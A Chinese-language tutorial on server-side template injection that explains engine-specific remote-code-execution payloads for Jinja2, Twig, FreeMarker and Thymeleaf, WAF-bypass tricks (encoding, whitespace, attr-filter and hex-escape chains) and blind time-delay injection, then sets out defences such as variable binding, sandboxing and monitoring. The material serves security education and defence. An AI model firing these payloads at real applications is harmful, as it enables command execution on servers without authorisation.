Server-Side Template Injection(SSTI,服务端模板注入)是一种高危漏洞,攻击者通过在用户输入中注入模板引擎的语法代码,让服务端在渲染页面时执行恶意指令,从而实现远程代码执行(RCE)。而SSTI绕过技术,则是攻击者在遇到WAF过滤、输入限制、字符黑名单等防护措施时,利用各种编码、拼接、替代语法等手段突破防线的方法。要真正防护这种漏洞,你必须理解绕过原理,才能从根本上封堵攻击路径。本文将从SSTI的核心原理讲起,逐一拆解主流模板引擎的绕过手法,并给出切实可行的防护方案。

一、SSTI漏洞的本质与触发条件

SSTI的本质是"用户输入被当作模板代码来解析"。当Web应用使用模板引擎(如Jinja2、Twig、FreeMarker、Thymeleaf等)渲染页面时,如果直接将用户可控的参数拼接进模板字符串,而不是通过变量传递,就会触发SSTI。比如一段Python Flask代码:

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/search')
def search():
    query = request.args.get('q')
    template = f"

Search results for: {query}

" return render_template_string(template)

这里用户输入的q参数直接被f-string嵌入模板,攻击者输入{{7*7}}就能让服务端计算并输出49,输入{{config}}就能读取Flask配置信息。这就是最基础的SSTI触发方式。

二、主流模板引擎的语法特征与攻击入口

不同模板引擎有不同的语法结构,攻击者需要先识别目标使用的是哪种引擎,才能精准注入。以下是几种常见引擎的基本语法:

Jinja2(Python):使用{{ }}执行表达式,{% %}执行语句。例如{{7*7}}、{{''.__class__.__mro__[1].__subclasses__()}}。

Twig(PHP):使用{{ }}和{% %},可通过{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}实现命令执行。

FreeMarker(Java):使用${ }和#{ },例如${"freemarker.template.utility.Execute"?new()("id")}。

Thymeleaf(Java/Spring):使用${ }和th:前缀,例如${T(java.lang.Runtime).getRuntime().exec('id')}。

攻击者通常通过报错信息、响应时间差异、盲注回显等方式来判断目标引擎类型,然后选择对应的payload进行攻击。

三、SSTI绕过的核心手法详解

当目标站点部署了WAF或对特殊字符做了过滤时,攻击者会使用以下绕过技术:

1. 字符编码绕过

WAF通常会拦截{{、}}、${}等关键字符,攻击者使用URL编码、HTML实体编码、Unicode编码等方式绕过。例如:

{{7*7}}  →  %7B%7B7*7%7D%7D
{{7*7}}  →  {{7*7}}
{{7*7}}  →  \u007b\u007b7*7\u007d\u007d

部分WAF只做一层解码,攻击者可以使用双重甚至多重编码来穿透。比如先URL编码再Base64编码,服务端渲染时层层解码最终还原为恶意payload。

2. 分隔符与空白符绕过

很多WAF通过正则匹配连续的{{或}}来拦截,攻击者插入空格、制表符、换行符等空白字符来打断匹配规则:

{{ 7*7 }}
{{7 * 7}}
{{
7*7
}}

在Jinja2中,空白符不影响表达式执行,但可以成功绕过基于连续字符匹配的正则规则。更高级的手法是使用注释符#来截断:

{{''.__class__#}}.__mro__[1].__subclasses__()

3. 字符串拼接绕过

当关键字被过滤时,攻击者利用模板引擎自身的字符串拼接能力来构造payload。Jinja2中可以这样:

{{''.__class__.__mro__[1].__subclasses__()}}
{{'__class__'|attr('__mro__')[1].__subclasses__()}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

通过attr过滤器、十六进制编码属性名、字符串拼接等方式,完全避开对点号、引号、下划线等字符的过滤。

4. 过滤器与函数替代绕过

当直接访问属性被限制时,攻击者使用过滤器(filter)间接获取对象。Jinja2中常用的过滤器包括:attr、batch、join、replace、upper、lower等。例如:

{{'config'|attr('items')}}
{{'os'|attr('__module__')|attr('popen')('id')|attr('read')()}}
{{lipsum.__globals__.os.popen('id').read()}}

lipsum是Jinja2内置的全局函数,攻击者通过它访问__globals__,再逐步拿到os模块执行命令。这种手法的优势在于不需要直接写__class__、__subclasses__等敏感词。

5. 利用模板引擎特性绕过长度与字符限制

有些场景下输入长度被限制,或者某些字符被禁用。攻击者可以利用列表索引、切片、循环等语法来缩短payload或替代禁用字符。比如用[0]代替.来访问属性:

{{''.__class__['__mro__'][1]['__subclasses__']()}}

或者利用range、cycler等内置对象构造迭代器来间接执行代码。

6. 模板继承与包含绕过

在某些框架中,攻击者可以通过模板继承机制注入恶意代码。比如在Twig中:

{% extends "malicious_base.twig" %}

如果应用允许用户控制模板名称或继承路径,攻击者可以指向一个包含恶意代码的模板文件,实现代码执行。这种绕过方式不依赖直接注入语法,而是利用了模板引擎的文件包含机制。

四、盲注场景下的SSTI利用

实际攻击中,很多时候页面不会直接回显执行结果,这时候需要盲注技术。常用方法包括:

时间延迟盲注:通过注入sleep函数或循环来观察响应时间差异。例如Jinja2中:

{{''.__class__.__mro__[1].__subclasses__()[400].__init__.__globals__['__builtins__']['eval']('import time;time.sleep(5)')}}

如果响应延迟了5秒,说明注入成功。

带外回显(OOB):让服务端主动向攻击者控制的服务器发起请求,例如通过DNS查询或HTTP请求来确认漏洞存在。这种方式在无回显场景下非常有效。

五、SSTI防护的系统性方案

了解了绕过手法,防护才能有的放矢。以下是从架构到代码层面的完整防护策略:

1. 根本原则:永远不要将用户输入拼接进模板

这是最核心的一条。使用模板引擎的变量传递机制,而不是字符串拼接:

# 错误做法
template = f"Hello {user_input}"
return render_template_string(template)

# 正确做法
return render_template_string("Hello {{ name }}", name=user_input)

2. 输入白名单与严格过滤

对用户输入只允许预期的字符类型。比如搜索框只允许字母数字,就用正则^[a-zA-Z0-9]+$来限制。不要依赖黑名单,因为黑名单永远会被绕过。

3. 沙箱隔离模板引擎

使用Sandbox模式运行模板引擎。Jinja2的SandboxedEnvironment会限制对危险属性和方法的访问:

from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{ name }}")
result = template.render(name=user_input)

但要注意,沙箱并非绝对安全,历史上多次被绕过,不能作为唯一防线。

4. WAF规则优化

WAF规则不能只做单次解码匹配,需要配置多层解码检测。同时要关注异常的模板语法特征,如连续的花括号、管道符、点号链式调用等。建议结合语义分析而非单纯正则匹配。

5. 最小权限原则

Web应用进程不应以root权限运行,应使用低权限用户。即使SSTI被利用,攻击者也无法执行高权限操作。同时禁用不必要的Python/Java模块和系统命令。

6. 运行时监控与告警

部署RASP(运行时应用自我保护)工具,在应用层实时检测异常的模板解析行为。对__class__、__subclasses__、__globals__、os.popen等敏感调用进行监控和阻断。

六、实战检测建议

在安全测试中,检测SSTI可以从以下payload入手,逐步升级:

第一步:基础探测,输入{{7*7}},看是否输出49。

第二步:报错探测,输入{{config}}或{{''.__class__}},观察是否有报错信息泄露引擎类型。

第三步:命令执行探测,根据识别的引擎类型构造对应的RCE payload。

第四步:绕过测试,模拟WAF环境,测试各种编码、拼接、过滤器绕过手法是否有效。

七、总结

SSTI绕过是一场攻防博弈。攻击者不断挖掘新的编码方式、语法替代和引擎特性利用方法,而防御者需要从输入处理、模板使用规范、运行环境隔离、实时监控等多个维度构建纵深防御体系。单一的防护手段一定会被绕过,只有多层叠加、纵深防御才能真正降低风险。作为开发者和安全从业者,理解绕过原理不是为了攻击,而是为了更精准地封堵每一个可能的攻击入口。记住:模板引擎是工具,用户输入是毒药,永远不要让两者直接接触。